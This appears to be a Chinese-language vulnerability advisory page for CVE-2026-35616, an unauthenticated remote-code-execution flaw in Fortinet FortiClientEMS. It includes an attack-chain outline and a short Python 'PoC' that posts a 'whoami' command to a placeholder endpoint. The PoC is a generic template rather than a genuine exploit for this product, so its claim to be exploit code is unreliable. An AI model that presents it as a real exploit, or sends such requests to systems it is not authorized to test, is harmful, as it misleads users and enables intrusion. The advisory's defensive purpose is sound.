CVE-2026-35616 CVSS 9.8 严重

CVE-2026-35616 Fortinet FortiClientEMS 访问控制缺陷致RCE

披露日期: 2026-04-04

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-35616

漏洞类型

远程代码执行

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

Fortinet FortiClientEMS

漏洞概述

Fortinet FortiClientEMS 7.4.5至7.4.6版本中存在严重的访问控制失效漏洞。未经身份验证的远程攻击者可利用该漏洞，通过发送特制的恶意请求绕过安全验证，从而在目标系统上执行任意代码或命令。该漏洞攻击复杂度低且无需用户交互，可能导致系统被完全控制。

技术细节

该漏洞的根本原因在于FortiClientEMS未对特定接口实施严格的访问控制检查。攻击者无需登录凭证即可通过网络访问受影响的服务器端API。由于程序未正确验证请求来源或权限，攻击者可以构造包含恶意命令的HTTP请求发送至服务器。服务器在处理该请求时，错误地解析并执行了其中的指令，导致攻击者获得系统权限。鉴于CVSS 3.1评分高达9.8，此漏洞对机密性、完整性和可用性均构成极高威胁。

攻击链分析

STEP 1

侦察

攻击者扫描网络，识别出运行Fortinet FortiClientEMS 7.4.5或7.4.6版本的目标服务器。

STEP 2

漏洞利用

攻击者向目标服务器特定的API端点发送精心构造的恶意HTTP请求，该请求绕过了身份验证机制。

STEP 3

代码执行

服务器端解析该恶意请求并执行其中包含的任意代码或系统命令。

STEP 4

权限提升与控制

攻击者利用执行命令的权限进一步控制服务器，窃取数据、植入后门或破坏系统服务。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://<TARGET_IP>:<PORT>/api/some_vulnerable_endpoint"

# Crafted payload to execute unauthorized code
payload = {
    "command": "whoami",
    "arg": "-a"
}

try:
    # Send malicious request without authentication
    response = requests.post(target_url, json=payload, verify=False, timeout=10)
    
    if response.status_code == 200:
        print("[+] Exploit successful! Response:")
        print(response.text)
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

Fortinet FortiClientEMS 7.4.5

Fortinet FortiClientEMS 7.4.6

防御指南

临时缓解措施

如果无法立即升级，建议将FortiClientEMS管理界面部署在内部网络中，不要将其直接暴露在公网。同时，应启用严格的网络访问控制列表（ACL）来阻断非受信任来源的流量，并密切监控系统进程和网络连接以发现潜在的入侵行为。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表